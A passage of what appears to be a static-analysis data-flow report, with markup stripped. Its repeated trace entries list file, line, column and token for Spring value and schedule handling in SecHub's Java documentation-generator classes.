propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 16 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 17 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 18 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 19 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 20 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 21 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 22 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 23 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 24 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 25 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 9 + 26 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 19 + 27 + firstNotEmpty + + 13 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 40 + 28 + indexOf + + 1 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 12 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 13 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 14 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 15 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 16 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 17 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 18 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 19 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 20 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 21 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 59 + 22 + endsWith + + 1 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 16 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 17 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 18 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 19 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 20 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 21 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 22 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 23 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 24 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 25 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 59 + 26 + endsWith + + 1 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 12 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 13 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 14 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 15 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 16 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 17 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 30 + 18 + split + + 5 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 29 + 19 + isEmpty + + 1 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 16 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 17 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 18 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 19 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 20 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 21 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 30 + 22 + split + + 5 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 54 + 29 + 23 + isEmpty + + 1 + + + 54 + if (! StringUtils.isEmpty(split)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 123 + 85 + 9 + fetchMustBeDocumentParts + + 1 + + + 123 + String text = propertiesGenerator.generate(getCollector().fetchMustBeDocumentParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 10 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 11 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 12 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 13 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 32 + 14 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 27 + 15 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 12 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 13 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 14 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 15 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 32 + 16 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 35 + 27 + 17 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 19 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 20 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 21 + result + + 6 + + + 88 + return result; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 22 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 23 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 24 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 25 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 38 + 26 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 11 + 27 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 28 + 28 + startsWith + + 1 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = 